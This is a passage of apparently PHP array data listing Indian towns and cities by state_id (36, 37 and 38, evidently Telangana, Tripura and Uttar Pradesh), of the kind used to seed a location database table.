'adilabad'],\n ['state_id' => '36', 'name' => 'armoor'],\n ['state_id' => '36', 'name' => 'asifabad'],\n ['state_id' => '36', 'name' => 'badepally'],\n ['state_id' => '36', 'name' => 'banswada'],\n ['state_id' => '36', 'name' => 'bellampalli'],\n ['state_id' => '36', 'name' => 'bhadrachalam'],\n ['state_id' => '36', 'name' => 'bhainsa'],\n ['state_id' => '36', 'name' => 'bhongir'],\n ['state_id' => '36', 'name' => 'bhupalpally'],\n ['state_id' => '36', 'name' => 'bodhan'],\n ['state_id' => '36', 'name' => 'bollaram'],\n ['state_id' => '36', 'name' => 'devarkonda'],\n ['state_id' => '36', 'name' => 'farooqnagar'],\n ['state_id' => '36', 'name' => 'gadwal'],\n ['state_id' => '36', 'name' => 'gajwel'],\n ['state_id' => '36', 'name' => 'ghatkesar'],\n ['state_id' => '36', 'name' => 'hyderabad'],\n ['state_id' => '36', 'name' => 'jagtial'],\n ['state_id' => '36', 'name' => 'jangaon'],\n ['state_id' => '36', 'name' => 'kagaznagar'],\n ['state_id' => '36', 'name' => 'kalwakurthy'],\n ['state_id' => '36', 'name' => 'kamareddy'],\n ['state_id' => '36', 'name' => 'karimnagar'],\n ['state_id' => '36', 'name' => 'khammam'],\n ['state_id' => '36', 'name' => 'kodada'],\n ['state_id' => '36', 'name' => 'koratla'],\n ['state_id' => '36', 'name' => 'kottagudem'],\n ['state_id' => '36', 'name' => 'kyathampalle'],\n ['state_id' => '36', 'name' => 'madhira'],\n ['state_id' => '36', 'name' => 'mahabubabad'],\n ['state_id' => '36', 'name' => 'mahbubnagar'],\n ['state_id' => '36', 'name' => 'mancherial'],\n ['state_id' => '36', 'name' => 'mandamarri'],\n ['state_id' => '36', 'name' => 'manuguru'],\n ['state_id' => '36', 'name' => 'medak'],\n ['state_id' => '36', 'name' => 'medchal'],\n ['state_id' => '36', 'name' => 'miryalaguda'],\n ['state_id' => '36', 'name' => 'nagar karnul'],\n ['state_id' => '36', 'name' => 'nakrekal'],\n ['state_id' => '36', 'name' => 'nalgonda'],\n ['state_id' => '36', 'name' => 'narayanpet'],\n ['state_id' => '36', 'name' => 'narsampet'],\n ['state_id' => '36', 'name' => 'nirmal'],\n ['state_id' => '36', 'name' => 'nizamabad'],\n ['state_id' => '36', 'name' => 'palwancha'],\n ['state_id' => '36', 'name' => 'peddapalli'],\n ['state_id' => '36', 'name' => 'ramagundam'],\n ['state_id' => '36', 'name' => 'ranga reddy district'],\n ['state_id' => '36', 'name' => 'sadasivpet'],\n ['state_id' => '36', 'name' => 'sangareddy'],\n ['state_id' => '36', 'name' => 'sarapaka'],\n ['state_id' => '36', 'name' => 'sathupalle'],\n ['state_id' => '36', 'name' => 'secunderabad'],\n ['state_id' => '36', 'name' => 'siddipet'],\n ['state_id' => '36', 'name' => 'singapur'],\n ['state_id' => '36', 'name' => 'sircilla'],\n ['state_id' => '36', 'name' => 'suryapet'],\n ['state_id' => '36', 'name' => 'tandur'],\n ['state_id' => '36', 'name' => 'vemulawada'],\n ['state_id' => '36', 'name' => 'vikarabad'],\n ['state_id' => '36', 'name' => 'wanaparthy'],\n ['state_id' => '36', 'name' => 'warangal'],\n ['state_id' => '36', 'name' => 'yellandu'],\n ['state_id' => '36', 'name' => 'zahirabad'],\n ['state_id' => '37', 'name' => 'agartala'],\n ['state_id' => '37', 'name' => 'amarpur'],\n ['state_id' => '37', 'name' => 'ambassa'],\n ['state_id' => '37', 'name' => 'badharghat'],\n ['state_id' => '37', 'name' => 'belonia'],\n ['state_id' => '37', 'name' => 'dharmanagar'],\n ['state_id' => '37', 'name' => 'gakulnagar'],\n ['state_id' => '37', 'name' => 'gandhigram'],\n ['state_id' => '37', 'name' => 'indranagar'],\n ['state_id' => '37', 'name' => 'jogendranagar'],\n ['state_id' => '37', 'name' => 'kailasahar'],\n ['state_id' => '37', 'name' => 'kamalpur'],\n ['state_id' => '37', 'name' => 'kanchanpur'],\n ['state_id' => '37', 'name' => 'khowai'],\n ['state_id' => '37', 'name' => 'kumarghat'],\n ['state_id' => '37', 'name' => 'kunjaban'],\n ['state_id' => '37', 'name' => 'narsingarh'],\n ['state_id' => '37', 'name' => 'pratapgarh'],\n ['state_id' => '37', 'name' => 'ranir bazar'],\n ['state_id' => '37', 'name' => 'sabrum'],\n ['state_id' => '37', 'name' => 'sonamura'],\n ['state_id' => '37', 'name' => 'teliamura'],\n ['state_id' => '37', 'name' => 'udaipur'],\n ['state_id' => '38', 'name' => 'achhalda'],\n ['state_id' => '38', 'name' => 'achhnera'],\n ['state_id' => '38', 'name' => 'adari'],\n ['state_id' => '38', 'name' => 'afzalgarh'],\n ['state_id' => '38', 'name' => 'agarwal mandi'],\n ['state_id' => '38', 'name' => 'agra'],\n ['state_id' => '38', 'name' => 'agra cantonment'],\n ['state_id' => '38', 'name' => 'ahraura'],\n ['state_id' => '38', 'name' => 'ailum'],\n ['state_id' => '38', 'name' => 'air force area'],\n ['state_id' => '38', 'name' => 'ajhuwa'],\n ['state_id' => '38', 'name' => 'akbarpur'],\n ['state_id' => '38', 'name' => 'alapur'],\n ['state_id' => '38', 'name' => 'aliganj'],\n ['state_id' => '38', 'name' => 'aligarh'],\n ['state_id' => '38', 'name' => 'allahabad'],\n ['state_id' => '38', 'name' => 'allahabad cantonment'],\n ['state_id' => '38', 'name' => 'allahganj'],\n ['state_id' => '38', 'name' => 'amanpur'],\n ['state_id' => '38', 'name' => 'ambahta'],\n ['state_id' => '38', 'name' => 'amethi'],\n ['state_id' => '38', 'name' => 'amila'],\n ['state_id' => '38', 'name' => 'amilo'],\n ['state_id' => '38', 'name' => 'aminagar sarai'],\n ['state_id' => '38', 'name' => 'aminagar urf bhurbaral'],\n ['state_id' => '38', 'name' => 'amraudha'],\n ['state_id' => '38', 'name' => 'amroha'],\n ['state_id' => '38', 'name' => 'anandnagar'],\n ['state_id' => '38', 'name' => 'anpara'],\n ['state_id' => '38', 'name' => 'antu'],\n ['state_id' => '38', 'name' => 'anupshahr'],\n ['state_id' => '38', 'name' => 'aonla'],\n ['state_id' => '38', 'name' => 'armapur estate'],\n ['state_id' => '38', 'name' => 'ashokpuram'],\n ['state_id' => '38', 'name' => 'ashrafpur kichhauchha'],\n ['state_id' => '38', 'name' => 'atarra'],\n ['state_id' => '38', 'name' => 'atasu'],\n ['state_id' => '38', 'name' => 'atrauli'],\n ['state_id' => '38', 'name' => 'atraulia'],\n ['state_id' => '38', 'name' => 'auraiya'],\n ['state_id' => '38', 'name' => 'aurangabad'],\n ['state_id' => '38', 'name' => 'aurangabad bangar'],\n ['state_id' => '38', 'name' => 'auras'],\n ['state_id' => '38', 'name' => 'awagarh'],\n ['state_id' => '38', 'name' => 'ayodhya'],\n ['state_id' => '38', 'name' => 'azamgarh'],\n ['state_id' => '38', 'name' => 'azizpur'],\n ['state_id' => '38', 'name' => 'azmatgarh'],\n ['state_id' => '38', 'name' => 'babarpur ajitmal'],\n ['state_id' => '38', 'name' => 'baberu'],\n ['state_id' => '38', 'name' => 'babina'],\n ['state_id' => '38', 'name' => 'babrala'],\n ['state_id' => '38', 'name' => 'babugarh'],\n ['state_id' => '38', 'name' => 'bachhiowan'],\n ['state_id' => '38', 'name' => 'bachhraon'],\n ['state_id' => '38', 'name' => 'bad'],\n ['state_id' => '38', 'name' => 'badaun'],\n ['state_id' => '38', 'name' => 'baghpat'],\n ['state_id' => '38', 'name' => 'bah'],\n ['state_id' => '38', 'name' => 'bahadurganj'],\n ['state_id' => '38', 'name' => 'baheri'],\n ['state_id' => '38', 'name' => 'bahjoi'],\n ['state_id' => '38', 'name' => 'bahraich'],\n ['state_id' => '38', 'name' => 'bahsuma'],\n ['state_id' => '38', 'name' => 'bahua'],\n ['state_id' => '38', 'name' => 'bajna'],\n ['state_id' => '38', 'name' => 'bakewar'],\n ['state_id' => '38', 'name' => 'bakiabad'],\n ['state_id' => '38', 'name' => 'baldeo'],\n ['state_id' => '38', 'name' => 'ballia'],\n ['state_id' => '38', 'name' => 'balrampur'],\n ['state_id' => '38', 'name' => 'banat'],\n ['state_id' => '38', 'name' => 'banda'],\n ['state_id' => '38', 'name' => 'bangarmau'],\n ['state_id' => '38', 'name' => 'banki'],\n ['state_id' => '38', 'name' => 'bansdih'],\n ['state_id' => '38', 'name' => 'bansgaon'],\n ['state_id' => '38', 'name' => 'bansi'],\n ['state_id' => '38', 'name' => 'barabanki'],\n ['state_id' => '38', 'name' => 'baragaon'],\n ['state_id' => '38', 'name' => 'baraut'],\n ['state_id' => '38', 'name' => 'bareilly'],\n ['state_id' => '38', 'name' => 'bareilly cantonment'],\n ['state_id' => '38', 'name' => 'barhalganj'],\n ['state_id' => '38', 'name' => 'barhani'],\n ['state_id' => '38', 'name' => 'barhapur'],\n ['state_id' => '38', 'name' => 'barkhera'],\n ['state_id' => '38', 'name' => 'barsana'],\n ['state_id' => '38', 'name' => 'barva sagar'],\n ['state_id' => '38', 'name' => 'barwar'],\n ['state_id' => '38', 'name' => 'basti'],\n ['state_id' => '38', 'name' => 'begumabad budhana'],\n ['state_id' => '38', 'name' => 'behat'],\n ['state_id' => '38', 'name' => 'behta hajipur'],\n ['state_id' => '38', 'name' => 'bela'],\n ['state_id' => '38', 'name' => 'belthara'],\n ['state_id' => '38', 'name' => 'beniganj'],\n ['state_id' => '38', 'name' => 'beswan'],\n ['state_id' => '38', 'name' => 'bewar'],\n ['state_id' => '38', 'name' => 'bhadarsa'],\n ['state_id' => '38', 'name' => 'bhadohi'],\n ['state_id' => '38', 'name' => 'bhagwantnagar'],\n ['state_id' => '38', 'name' => 'bharatganj'],\n ['state_id' => '38', 'name' => 'bhargain'],\n ['state_id' => '38', 'name' => 'bharthana'],\n ['state_id' => '38', 'name' => 'bharuhana'],\n ['state_id' => '38', 'name' => 'bharwari'],\n ['state_id' => '38', 'name' => 'bhatni bazar'],\n ['state_id' => '38', 'name' => 'bhatpar rani'],\n ['state_id' => '38', 'name' => 'bhawan bahadurnagar'],\n ['state_id' => '38', 'name' => 'bhinga'],\n ['state_id' => '38', 'name' => 'bhojpur dharampur'],\n ['state_id' => '38', 'name' => 'bhokarhedi'],\n ['state_id' => '38', 'name' => 'bhongaon'],\n ['state_id' => '38', 'name' => 'bhulepur'],\n ['state_id' => '38', 'name' => 'bidhuna'],\n ['state_id' => '38', 'name' => 'bighapur'],\n ['state_id' => '38', 'name' => 'bijnor'],\n ['state_id' => '38', 'name' => 'bijpur'],\n ['state_id' => '38', 'name' => 'bikapur'],\n ['state_id' => '38', 'name' => 'bilari'],\n ['state_id' => '38', 'name' => 'bilaspur'],\n ['state_id' => '38', 'name' => 'bilgram'],\n ['state_id' => '38', 'name' => 'bilhaur'],\n ['state_id' => '38', 'name' => 'bilram'],\n ['state_id' => '38', 'name' => 'bilrayaganj'],\n ['state_id' => '38', 'name' => 'bilsanda'],\n ['state_id' => '38', 'name' => 'bilsi'],\n ['state_id' => '38', 'name' => 'bindki'],\n ['state_id' => '38', 'name' => 'bisalpur'],\n ['state_id' => '38', 'name' => 'bisanda buzurg'],\n ['state_id' => '38', 'name' => 'bisauli'],\n ['state_id' => '38', 'name' => 'bisharatganj'],\n ['state_id' => '38', 'name' => 'bisokhar'],\n ['state_id' => '38', 'name' => 'biswan'],\n ['state_id' => '38', 'name' => 'bithur'],\n ['state_id' => '38', 'name' => 'budaun'],\n ['state_id' => '38', 'name' => 'bugrasi'],\n ['state_id' => '38', 'name' => 'bulandshahar'],\n ['state_id' => '38', 'name' => 'burhana'],\n ['state_id' => '38', 'name' => 'chail'],\n ['state_id' => '38', 'name' => 'chak imam ali'],\n ['state_id' => '38', 'name' => 'chakeri'],\n ['state_id' => '38', 'name' => 'chakia'],\n ['state_id' => '38', 'name' => 'chandauli'],\n ['state_id' => '38', 'name' => 'chandausi'],\n ['state_id' => '38', 'name' => 'chandpur'],\n ['state_id' => '38', 'name' => 'charkhari'],\n ['state_id' => '38', 'name' => 'charthawal'],\n ['state_id' => '38', 'name' => 'chaumuhan'],\n ['state_id' => '38', 'name' => 'chhaprauli'],\n ['state_id' => '38', 'name' => 'chhara rafatpur'],\n ['state_id' => '38', 'name' => 'chharprauli'],\n ['state_id' => '38', 'name' => 'chhata'],\n ['state_id' => '38', 'name' => 'chhatari'],\n ['state_id' => '38', 'name' => 'chhibramau'],\n ['state_id' => '38', 'name' => 'chhutmalpur'],\n ['state_id' => '38', 'name' => 'chilkana sultanpur'],\n ['state_id' => '38', 'name' => 'chirgaon'],\n ['state_id' => '38', 'name' => 'chit baragaon'],\n ['state_id' => '38', 'name' => 'chitrakut dham'],\n ['state_id' => '38', 'name' => 'chopan'],\n ['state_id' => '38', 'name' => 'choubepur kalan'],\n ['state_id' => '38', 'name' => 'chunar'],\n ['state_id' => '38', 'name' => 'churk ghurma'],\n ['state_id' => '38', 'name' => 'colonelganj'],\n ['state_id' => '38', 'name' => 'dadri'],\n ['state_id' => '38', 'name' => 'dalmau'],\n ['state_id' => '38', 'name' => 'dankaur'],\n ['state_id' => '38', 'name' => 'dariyabad'],\n ['state_id' => '38', 'name' => 'dasna'],\n ['state_id' => '38', 'name' => 'dataganj'],\n ['state_id' => '38', 'name' => 'daurala'],\n ['state_id' => '38', 'name' => 'dayal bagh'],\n ['state_id' => '38', 'name' => 'deoband'],\n ['state_id' => '38', 'name' => 'deoranian'],\n ['state_id' => '38', 'name' => 'deoria'],\n ['state_id' => '38', 'name' => 'dewa'],\n ['state_id' => '38', 'name' => 'dhampur'],\n ['state_id' => '38', 'name' => 'dhanauha'],\n ['state_id' => '38', 'name' => 'dhanauli'],\n ['state_id' => '38', 'name' => 'dhanaura'],\n ['state_id' => '38', 'name' => 'dharoti khurd'],\n ['state_id' => '38', 'name' => 'dhauratanda'],\n ['state_id' => '38', 'name' => 'dhaurhra'],\n ['state_id' => '38', 'name' => 'dibai'],\n ['state_id' => '38', 'name' => 'dibiyapur'],\n ['state_id' => '38', 'name' => 'dildarnagar fatehpur'],\n ['state_id' => '38', 'name' => 'do ghat'],\n ['state_id' => '38', 'name' => 'dohrighat'],\n ['state_id' => '38', 'name' => 'dostpur'],\n ['state_id' => '38', 'name' => 'dudhinagar'],\n ['state_id' => '38', 'name' => 'dulhipur'],\n ['state_id' => '38', 'name' => 'dundwaraganj'],\n ['state_id' => '38', 'name' => 'ekdil'],\n ['state_id' => '38', 'name' => 'erich'],\n ['state_id' => '38', 'name' => 'etah'],\n ['state_id' => '38', 'name' => 'etawah'],\n ['state_id' => '38', 'name' => 'faizabad'],\n ['state_id' => '38', 'name' => 'faizabad cantonment'],\n ['state_id' => '38', 'name' => 'faizganj'],\n ['state_id' => '38', 'name' => 'farah'],\n ['state_id' => '38', 'name' => 'faridnagar'],\n ['state_id' => '38', 'name' => 'faridpur'],\n ['state_id' => '38', 'name' => 'faridpur cantonment'],\n ['state_id' => '38', 'name' => 'fariha'],\n ['state_id' => '38', 'name' => 'farrukhabad'],\n ['state_id' => '38', 'name' => 'fatehabad'],\n ['state_id' => '38', 'name' => 'fatehganj pashchimi'],\n ['state_id' => '38', 'name' => 'fatehganj purvi'],\n ['state_id' => '38', 'name' => 'fatehgarh'],\n ['state_id' => '38', 'name' => 'fatehpur'],\n ['state_id' => '38', 'name' => 'fatehpur chaurasi'],\n ['state_id' => '38', 'name' => 'fatehpur sikri'],\n ['state_id' => '38', 'name' => 'firozabad'],\n ['state_id' => '38', 'name' => 'gajraula'],\n ['state_id' => '38', 'name' => 'ganga ghat'],\n ['state_id' => '38', 'name' => 'gangapur'],\n ['state_id' => '38', 'name' => 'gangoh'],\n ['state_id' => '38', 'name' => 'ganj muradabad'],\n ['state_id' => '38', 'name' => 'garautha'],\n ['state_id' => '38', 'name' => 'garhi pukhta'],\n ['state_id' => '38', 'name' => 'garhmukteshwar'],\n ['state_id' => '38', 'name' => 'gaura barahaj'],\n ['state_id' => '38', 'name' => 'gauri bazar'],\n ['state_id' => '38', 'name' => 'gausganj'],\n ['state_id' => '38', 'name' => 'gawan'],\n ['state_id' => '38', 'name' => 'ghatampur'],\n ['state_id' => '38', 'name' => 'ghaziabad'],\n ['state_id' => '38', 'name' => 'ghazipur'],\n ['state_id' => '38', 'name' => 'ghiror'],\n ['state_id' => '38', 'name' => 'ghorawal'],\n ['state_id' => '38', 'name' => 'ghosi'],\n ['state_id' => '38', 'name' => 'ghosia bazar'],\n ['state_id' => '38', 'name' => 'ghughuli'],\n ['state_id' => '38', 'name' => 'gohand'],\n ['state_id' => '38', 'name' => 'gokul'],\n ['state_id' => '38', 'name' => 'gola bazar'],\n ['state_id' => '38', 'name' => 'gola gokarannath'],\n ['state_id' => '38', 'name' => 'gonda'],\n ['state_id' => '38', 'name' => 'gopamau'],\n ['state_id' => '38', 'name' => 'gopiganj'],\n ['state_id' => '38', 'name' => 'gorakhpur'],\n ['state_id' => '38', 'name' => 'gosainganj'],\n ['state_id' => '38', 'name' => 'govardhan'],\n ['state_id' => '38', 'name' => 'greater noida'],\n ['state_id' => '38', 'name' => 'gulaothi'],\n ['state_id' => '38', 'name' => 'gulariya'],\n ['state_id' => '38', 'name' => 'gulariya bhindara'],\n ['state_id' => '38', 'name' => 'gunnaur'],\n ['state_id' => '38', 'name' => 'gursahaiganj'],\n ['state_id' => '38', 'name' => 'gursarai'],\n ['state_id' => '38', 'name' => 'gyanpur'],\n ['state_id' => '38', 'name' => 'hafizpur'],\n ['state_id' => '38', 'name' => 'haidergarh'],\n ['state_id' => '38', 'name' => 'haldaur'],\n ['state_id' => '38', 'name' => 'hamirpur'],\n ['state_id' => '38', 'name' => 'handia'],\n ['state_id' => '38', 'name' => 'hapur'],\n ['state_id' => '38', 'name' => 'hardoi'],\n ['state_id' => '38', 'name' => 'harduaganj'],\n ['state_id' => '38', 'name' => 'hargaon'],\n ['state_id' => '38', 'name' => 'hariharpur'],\n ['state_id' => '38', 'name' => 'harraiya'],\n ['state_id' => '38', 'name' => 'hasanpur'],\n ['state_id' => '38', 'name' => 'hasayan'],\n ['state_id' => '38', 'name' => 'hastinapur'],\n ['state_id' => '38', 'name' => 'hata'],\n ['state_id' => '38', 'name' => 'hathras'],\n ['state_id' => '38', 'name' => 'hyderabad'],\n ['state_id' => '38', 'name' => 'ibrahimpur'],\n ['state_id' => '38', 'name' => 'iglas'],\n ['state_id' => '38', 'name' => 'ikauna'],\n ['state_id' => '38', 'name' => 'iltifatganj bazar'],\n ['state_id' => '38', 'name' => 'indian telephone industry mank'],\n ['state_id' => '38', 'name' => 'islamnagar'],\n ['state_id' => '38', 'name' => 'itaunja'],\n ['state_id' => '38', 'name' => 'itimadpur'],\n ['state_id' => '38', 'name' => 'jagner'],\n ['state_id' => '38', 'name' => 'jahanabad'],\n ['state_id' => '38', 'name' => 'jahangirabad'],\n ['state_id' => '38', 'name' => 'jahangirpur'],\n ['state_id' => '38', 'name' => 'jais'],\n ['state_id' => '38', 'name' => 'jaithara'],\n ['state_id' => '38', 'name' => 'jalalabad'],\n ['state_id' => '38', 'name' => 'jalali'],\n ['state_id' => '38', 'name' => 'jalalpur'],\n ['state_id' => '38', 'name' => 'jalaun'],\n ['state_id' => '38', 'name' => 'jalesar'],\n ['state_id' => '38', 'name' => 'jamshila'],\n ['state_id' => '38', 'name' => 'jangipur'],\n ['state_id' => '38', 'name' => 'jansath'],\n ['state_id' => '38', 'name' => 'jarwal'],\n ['state_id' => '38', 'name' => 'jasrana'],\n ['state_id' => '38', 'name' => 'jaswantnagar'],\n ['state_id' => '38', 'name' => 'jatari'],\n ['state_id' => '38', 'name' => 'jaunpur'],\n ['state_id' => '38', 'name' => 'jewar'],\n ['state_id' => '38', 'name' => 'jhalu'],\n ['state_id' => '38', 'name' => 'jhansi'],\n ['state_id' => '38', 'name' => 'jhansi cantonment'],\n ['state_id' => '38', 'name' => 'jhansi railway settlement'],\n ['state_id' => '38', 'name' => 'jhinjhak'],\n ['state_id' => '38', 'name' => 'jhinjhana'],\n ['state_id' => '38', 'name' => 'jhusi'],\n ['state_id' => '38', 'name' => 'jhusi kohna'],\n ['state_id' => '38', 'name' => 'jiyanpur'],\n ['state_id' => '38', 'name' => 'joya'],\n ['state_id' => '38', 'name' => 'jyoti khuria'],\n ['state_id' => '38', 'name' => 'jyotiba phule nagar'],\n ['state_id' => '38', 'name' => 'kabrai'],\n ['state_id' => '38', 'name' => 'kachhauna patseni'],\n ['state_id' => '38', 'name' => 'kachhla'],\n ['state_id' => '38', 'name' => 'kachhwa'],\n ['state_id' => '38', 'name' => 'kadaura'],\n ['state_id' => '38', 'name' => 'kadipur'],\n ['state_id' => '38', 'name' => 'kailashpur'],\n ['state_id' => '38', 'name' => 'kaimganj'],\n ['state_id' => '38', 'name' => 'kairana'],\n ['state_id' => '38', 'name' => 'kakgaina'],\n ['state_id' => '38', 'name' => 'kakod'],\n ['state_id' => '38', 'name' => 'kakori'],\n ['state_id' => '38', 'name' => 'kakrala'],\n ['state_id' => '38', 'name' => 'kalinagar'],\n ['state_id' => '38', 'name' => 'kalpi'],\n ['state_id' => '38', 'name' => 'kamalganj'],\n ['state_id' => '38', 'name' => 'kampil'],\n ['state_id' => '38', 'name' => 'kandhla'],\n ['state_id' => '38', 'name' => 'kandwa'],\n ['state_id' => '38', 'name' => 'kannauj'],\n ['state_id' => '38', 'name' => 'kanpur'],\n ['state_id' => '38', 'name' => 'kant'],\n ['state_id' => '38', 'name' => 'kanth'],\n ['state_id' => '38', 'name' => 'kaptanganj'],\n ['state_id' => '38', 'name' => 'karaon'],\n ['state_id' => '38', 'name' => 'karari'],\n ['state_id' => '38', 'name' => 'karhal'],\n ['state_id' => '38', 'name' => 'karnawal'],\n ['state_id' => '38', 'name' => 'kasganj'],\n ['state_id' => '38', 'name' => 'katariya'],\n ['state_id' => '38', 'name' => 'katghar lalganj'],\n ['state_id' => '38', 'name' => 'kathera'],\n ['state_id' => '38', 'name' => 'katra'],\n ['state_id' => '38', 'name' => 'katra medniganj'],\n ['state_id' => '38', 'name' => 'kauriaganj'],\n ['state_id' => '38', 'name' => 'kemri'],\n ['state_id' => '38', 'name' => 'kerakat'],\n ['state_id' => '38', 'name' => 'khadda'],\n ['state_id' => '38', 'name' => 'khaga'],\n ['state_id' => '38', 'name' => 'khailar'],\n ['state_id' => '38', 'name' => 'khair'],\n ['state_id' => '38', 'name' => 'khairabad'],\n ['state_id' => '38', 'name' => 'khairagarh'],\n ['state_id' => '38', 'name' => 'khalilabad'],\n ['state_id' => '38', 'name' => 'khamaria'],\n ['state_id' => '38', 'name' => 'khanpur'],\n ['state_id' => '38', 'name' => 'kharela'],\n ['state_id' => '38', 'name' => 'khargupur'],\n ['state_id' => '38', 'name' => 'khariya'],\n ['state_id' => '38', 'name' => 'kharkhoda'],\n ['state_id' => '38', 'name' => 'khatauli'],\n ['state_id' => '38', 'name' => 'khatauli rural'],\n ['state_id' => '38', 'name' => 'khekra'],\n ['state_id' => '38', 'name' => 'kheri'],\n ['state_id' => '38', 'name' => 'kheta sarai'],\n ['state_id' => '38', 'name' => 'khudaganj'],\n ['state_id' => '38', 'name' => 'khurja'],\n ['state_id' => '38', 'name' => 'khutar'],\n ['state_id' => '38', 'name' => 'kiraoli'],\n ['state_id' => '38', 'name' => 'kiratpur'],\n ['state_id' => '38', 'name' => 'kishanpur'],\n ['state_id' => '38', 'name' => 'kishni'],\n ['state_id' => '38', 'name' => 'kithaur'],\n ['state_id' => '38', 'name' => 'koiripur'],\n ['state_id' => '38', 'name' => 'konch'],\n ['state_id' => '38', 'name' => 'kopaganj'],\n ['state_id' => '38', 'name' => 'kora jahanabad'],\n ['state_id' => '38', 'name' => 'korwa'],\n ['state_id' => '38', 'name' => 'kosi kalan'],\n ['state_id' => '38', 'name' => 'kota'],\n ['state_id' => '38', 'name' => 'kotra'],\n ['state_id' => '38', 'name' => 'kotwa'],\n ['state_id' => '38', 'name' => 'kulpahar'],\n ['state_id' => '38', 'name' => 'kunda'],\n ['state_id' => '38', 'name' => 'kundarki'],\n ['state_id' => '38', 'name' => 'kunwargaon'],\n ['state_id' => '38', 'name' => 'kurara'],\n ['state_id' => '38', 'name' => 'kurawali'],\n ['state_id' => '38', 'name' => 'kursath'],\n ['state_id' => '38', 'name' => 'kurthi jafarpur'],\n ['state_id' => '38', 'name' => 'kushinagar'],\n ['state_id' => '38', 'name' => 'kusmara'],\n ['state_id' => '38', 'name' => 'laharpur'],\n ['state_id' => '38', 'name' => 'lakhimpur'],\n ['state_id' => '38', 'name' => 'lakhna'],\n ['state_id' => '38', 'name' => 'lalganj'],\n ['state_id' => '38', 'name' => 'lalitpur'],\n ['state_id' => '38', 'name' => 'lar'],\n ['state_id' => '38', 'name' => 'lawar'],\n ['state_id' => '38', 'name' => 'ledwa mahuwa'],\n ['state_id' => '38', 'name' => 'lohta'],\n ['state_id' => '38', 'name' => 'loni'],\n ['state_id' => '38', 'name' => 'lucknow'],\n ['state_id' => '38', 'name' => 'machhlishahr'],\n ['state_id' => '38', 'name' => 'madhoganj'],\n ['state_id' => '38', 'name' => 'madhogarh'],\n ['state_id' => '38', 'name' => 'maghar'],\n ['state_id' => '38', 'name' => 'mahaban'],\n ['state_id' => '38', 'name' => 'maharajganj'],\n ['state_id' => '38', 'name' => 'mahmudabad'],\n ['state_id' => '38', 'name' => 'mahoba'],\n ['state_id' => '38', 'name' => 'maholi'],\n ['state_id' => '38', 'name' => 'mahona'],\n ['state_id' => '38', 'name' => 'mahroni'],\n ['state_id' => '38', 'name' => 'mailani'],\n ['state_id' => '38', 'name' => 'mainpuri'],\n ['state_id' => '38', 'name' => 'majhara pipar ehatmali'],\n ['state_id' => '38', 'name' => 'majhauli raj'],\n ['state_id' => '38', 'name' => 'malihabad'],\n ['state_id' => '38', 'name' => 'mallanwam'],\n ['state_id' => '38', 'name' => 'mandawar'],\n ['state_id' => '38', 'name' => 'manikpur'],\n ['state_id' => '38', 'name' => 'maniyar'],\n ['state_id' => '38', 'name' => 'manjhanpur'],\n ['state_id' => '38', 'name' => 'mankapur'],\n ['state_id' => '38', 'name' => 'marehra'],\n ['state_id' => '38', 'name' => 'mariahu'],\n ['state_id' => '38', 'name' => 'maruadih'],\n ['state_id' => '38', 'name' => 'maswasi'],\n ['state_id' => '38', 'name' => 'mataundh'],\n ['state_id' => '38', 'name' => 'mathu'],\n ['state_id' => '38', 'name' => 'mathura'],\n ['state_id' => '38', 'name' => 'mathura cantonment'],\n ['state_id' => '38', 'name' => 'mau'],\n ['state_id' => '38', 'name' => 'mau aima'],\n ['state_id' => '38', 'name' => 'maudaha'],\n ['state_id' => '38', 'name' => 'mauranipur'],\n ['state_id' => '38', 'name' => 'maurawan'],\n ['state_id' => '38', 'name' => 'mawana'],\n ['state_id' => '38', 'name' => 'meerut'],\n ['state_id' => '38', 'name' => 'mehnagar'],\n ['state_id' => '38', 'name' => 'mehndawal'],\n ['state_id' => '38', 'name' => 'mendu'],\n ['state_id' => '38', 'name' => 'milak'],\n ['state_id' => '38', 'name' => 'miranpur'],\n ['state_id' => '38', 'name' => 'mirat'],\n ['state_id' => '38', 'name' => 'mirat cantonment'],\n ['state_id' => '38', 'name' => 'mirganj'],\n ['state_id' => '38', 'name' => 'mirzapur'],\n ['state_id' => '38', 'name' => 'misrikh'],\n ['state_id' => '38', 'name' => 'modinagar'],\n ['state_id' => '38', 'name' => 'mogra badshahpur'],\n ['state_id' => '38', 'name' => 'mohan'],\n ['state_id' => '38', 'name' => 'mohanpur'],\n ['state_id' => '38', 'name' => 'mohiuddinpur'],\n ['state_id' => '38', 'name' => 'moradabad'],\n ['state_id' => '38', 'name' => 'moth'],\n ['state_id' => '38', 'name' => 'mubarakpur'],\n ['state_id' => '38', 'name' => 'mughal sarai'],\n ['state_id' => '38', 'name' => 'mughal sarai railway settlemen'],\n ['state_id' => '38', 'name' => 'muhammadabad'],\n ['state_id' => '38', 'name' => 'muhammadi'],\n ['state_id' => '38', 'name' => 'mukrampur khema'],\n ['state_id' => '38', 'name' => 'mundia'],\n ['state_id' => '38', 'name' => 'mundora'],\n ['state_id' => '38', 'name' => 'muradnagar'],\n ['state_id' => '38', 'name' => 'mursan'],\n ['state_id' => '38', 'name' => 'musafirkhana'],\n ['state_id' => '38', 'name' => 'muzaffarnagar'],\n ['state_id' => '38', 'name' => 'nadigaon'],\n ['state_id' => '38', 'name' => 'nagina'],\n ['state_id' => '38', 'name' => 'nagram'],\n ['state_id' => '38', 'name' => 'nai bazar'],\n ['state_id' => '38', 'name' => 'nainana jat'],\n ['state_id' => '38', 'name' => 'najibabad'],\n ['state_id' => '38', 'name' => 'nakur'],\n ['state_id' => '38', 'name' => 'nanaunta'],\n ['state_id' => '38', 'name' => 'nandgaon'],\n ['state_id' => '38', 'name' => 'nanpara'],\n ['state_id' => '38', 'name' => 'naraini'],\n ['state_id' => '38', 'name' => 'narauli'],\n ['state_id' => '38', 'name' => 'naraura'],\n ['state_id' => '38', 'name' => 'naugawan sadat'],\n ['state_id' => '38', 'name' => 'nautanwa'],\n ['state_id' => '38', 'name' => 'nawabganj'],\n ['state_id' => '38', 'name' => 'nichlaul'],\n ['state_id' => '38', 'name' => 'nidhauli kalan'],\n ['state_id' => '38', 'name' => 'nihtaur'],\n ['state_id' => '38', 'name' => 'nindaura'],\n ['state_id' => '38', 'name' => 'niwari'],\n ['state_id' => '38', 'name' => 'nizamabad'],\n ['state_id' => '38', 'name' => 'noida'],\n ['state_id' => '38', 'name' => 'northern railway colony'],\n ['state_id' => '38', 'name' => 'nurpur'],\n ['state_id' => '38', 'name' => 'nyoria husenpur'],\n ['state_id' => '38', 'name' => 'nyotini'],\n ['state_id' => '38', 'name' => 'obra'],\n ['state_id' => '38', 'name' => 'oel dhakwa'],\n ['state_id' => '38', 'name' => 